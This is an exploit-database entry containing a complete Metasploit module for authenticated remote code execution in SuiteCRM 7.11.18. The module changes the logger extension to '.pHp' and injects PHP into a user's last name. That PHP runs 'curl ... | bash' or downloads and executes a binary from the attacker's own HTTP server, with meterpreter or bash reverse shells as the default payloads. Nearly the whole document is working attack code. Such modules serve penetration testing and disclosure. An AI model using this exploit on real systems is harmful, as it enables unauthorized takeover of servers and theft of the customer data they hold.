SuiteCRM 7.11.18 - Remote Code Execution (RCE) (Authenticated) (Metasploit)

2021-11-17
ID: 104971
CVE: None
Download vulnerable application: None
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SuiteCRM Log File Remote Code Execution',
        'Description' => %q{
          This module exploits an input validation error on the log file extension parameter. It does
          not properly validate upper/lower case characters. Once this occurs, the application log file
          will be treated as a php file. The log file can then be populated with php code by changing the
          username of a valid user, as this info is logged. The php code in the file can then be executed
          by sending an HTTP request to the log file. A similar issue was reported by the same researcher
          where a blank file extension could be supplied and the extension could be provided in the file
          name. This exploit will work on those versions as well, and those references are included.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'M. Cory Billington' # @_th3y
        ],
        'References' => [
          ['CVE', '2021-42840'],
          ['CVE', '2020-28328'], # First CVE
          ['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue.
          ['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit
          ['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit
        ],
        'Platform' => %w[linux unix],
        'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86],
        'Targets' => [
          [
            'Linux (x64)', {
              'Arch' => ARCH_X64,
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'Linux (cmd)', {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Privileged' => true,
        'DisclosureDate' => '2021-04-28',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']),
        OptString.new('USER', [true, 'Username of user with administrative rights', 'admin']),
        OptString.new('PASS', [true, 'Password for administrator', 'admin']),
        OptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]),
        OptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']),
        OptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin'])
      ]
    )
  end

  def check
    authenticate unless @authenticated
    return Exploit::CheckCode::Unknown unless @authenticated

    version_check_request = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Home',
          'action' => 'About'
        }
      }
    )

    return Exploit::CheckCode::Unknown("#{peer} - Connection timed out") unless version_check_request

    version_match = version_check_request.body[/
      Version
      \s
      \d{1} # Major revision
      \.
      \d{1,2} # Minor revision
      \.
      \d{1,2} # Bug fix release
      /x]

    version = version_match.partition(' ').last

    if version.nil? || version.empty?
      about_url = "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About"
      return Exploit::CheckCode::Unknown("Check #{about_url} to confirm version.")
    end

    patched_version = Rex::Version.new('7.11.18')
    current_version = Rex::Version.new(version)

    return Exploit::CheckCode::Appears("SuiteCRM #{version}") if current_version <= patched_version

    Exploit::CheckCode::Safe("SuiteCRM #{version}")
  end

  def authenticate
    print_status("Authenticating as #{datastore['USER']}")
    initial_req = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Users',
          'action' => 'Login'
        }
      }
    )

    return false unless initial_req && initial_req.code == 200

    login = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_post' => {
          'module' => 'Users',
          'action' => 'Authenticate',
          'return_module' => 'Users',
          'return_action' => 'Login',
          'user_name' => datastore['USER'],
          'username_password' => datastore['PASS'],
          'Login' => 'Log In'
        }
      }
    )

    return false unless login && login.code == 302

    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Administration',
          'action' => 'index'
        }
      }
    )

    auth_succeeded?(res)
  end

  def auth_succeeded?(res)
    return false unless res

    if res.code == 200
      print_good("Authenticated as: #{datastore['USER']}")
      if res.body.include?('Unauthorized access to administration.')
        print_warning("#{datastore['USER']} does not have administrative rights! Exploit will fail.")
        @is_admin = false
      else
        print_good("#{datastore['USER']} has administrative rights.")
        @is_admin = true
      end
      @authenticated = true
      return true
    else
      print_error("Failed to authenticate as: #{datastore['USER']}")
      return false
    end
  end

  def post_log_file(data)
    send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'ctype' => "multipart/form-data; boundary=#{data.bound}",
        'keep_cookies' => true,
        'headers' => {
          'Referer' => "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&action=EditView"
        },
        'data' => data.to_s
      }
    )
  end

  def modify_system_settings_file
    filename = rand_text_alphanumeric(8).to_s
    extension = '.pHp'
    @php_fname = filename + extension
    action = 'Modify system settings file'
    print_status("Trying - #{action}")

    data = Rex::MIME::Message.new
    data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')
    data.add_part('Configurator', nil, nil, 'form-data; name="module"')
    data.add_part(filename.to_s, nil, nil, 'form-data; name="logger_file_name"')
    data.add_part(extension.to_s, nil, nil, 'form-data; name="logger_file_ext"')
    data.add_part('info', nil, nil, 'form-data; name="logger_level"')
    data.add_part('Save', nil, nil, 'form-data; name="save"')

    res = post_log_file(data)
    check_logfile_request(res, action)
  end

  def poison_log_file
    action = 'Poison log file'
    if target.arch.first == 'cmd'
      command_injection = "<?php `curl #{@download_url} | bash`; ?>"
    else
      @meterpreter_fname = "#{datastore['WRITABLEDIR']}/#{rand_text_alphanumeric(8)}"
      command_injection = %(
        <?php `curl #{@download_url} -o #{@meterpreter_fname};
        /bin/chmod 700 #{@meterpreter_fname};
        /bin/sh -c #{@meterpreter_fname};`; ?>
      )
    end

    print_status("Trying - #{action}")

    data = Rex::MIME::Message.new
    data.add_part('Users', nil, nil, 'form-data; name="module"')
    data.add_part('1', nil, nil, 'form-data; name="record"')
    data.add_part('Save', nil, nil, 'form-data; name="action"')
    data.add_part('EditView', nil, nil, 'form-data; name="page"')
    data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')
    data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')
    data.add_part(command_injection, nil, nil, 'form-data; name="last_name"')

    res = post_log_file(data)
    check_logfile_request(res, action)
  end

  def restore
    action = 'Restore logging to default configuration'
    print_status("Trying - #{action}")

    data = Rex::MIME::Message.new
    data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')
    data.add_part('Configurator', nil, nil, 'form-data; name="module"')
    data.add_part('suitecrm', nil, nil, 'form-data; name="logger_file_name"')
    data.add_part('.log', nil, nil, 'form-data; name="logger_file_ext"')
    data.add_part('fatal', nil, nil, 'form-data; name="logger_level"')
    data.add_part('Save', nil, nil, 'form-data; name="save"')

    post_log_file(data)

    data = Rex::MIME::Message.new
    data.add_part('Users', nil, nil, 'form-data; name="module"')
    data.add_part('1', nil, nil, 'form-data; name="record"')
    data.add_part('Save', nil, nil, 'form-data; name="action"')
    data.add_part('EditView', nil, nil, 'form-data; name="page"')
    data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')
    data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')
    data.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name="last_name"')

    res = post_log_file(data)

    print_error("Failed - #{action}") unless res && res.code == 301

    print_good("Succeeded - #{action}")
  end

  def check_logfile_request(res, action)
    fail_with(Failure::Unknown, "#{action} - no reply") unless res

    unless res.code == 301
      print_error("Failed - #{action}")
      fail_with(Failure::UnexpectedReply, "Failed - #{action}")
    end

    print_good("Succeeded - #{action}")
  end

  def execute_php
    print_status("Executing php code in log file: #{@php_fname}")
    res = send_request_cgi(
      {
        'uri' => normalize_uri(target_uri, @php_fname),
        'keep_cookies' => true
      }
    )
    fail_with(Failure::NotFound, "#{peer} - Not found: #{@php_fname}") if res && res.code == 404
    register_files_for_cleanup(@php_fname)
    register_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty?
  end

  def on_request_uri(cli, _request)
    send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })
    print_good("#{peer} - Payload sent!")
  end

  def start_http_server
    start_service(
      {
        'Uri' => {
          'Proc' => proc do |cli, req|
            on_request_uri(cli, req)
          end,
          'Path' => resource_uri
        }
      }
    )
    @download_url = get_uri
  end

  def exploit
    start_http_server
    authenticate unless @authenticated
    fail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated
    fail_with(Failure::NoAccess, "#{datastore['USER']} does not have administrative rights!") unless @is_admin
    modify_system_settings_file
    poison_log_file
    execute_php
  ensure
    restore if datastore['RESTORECONF']
  end
end
1-4-2 (www01)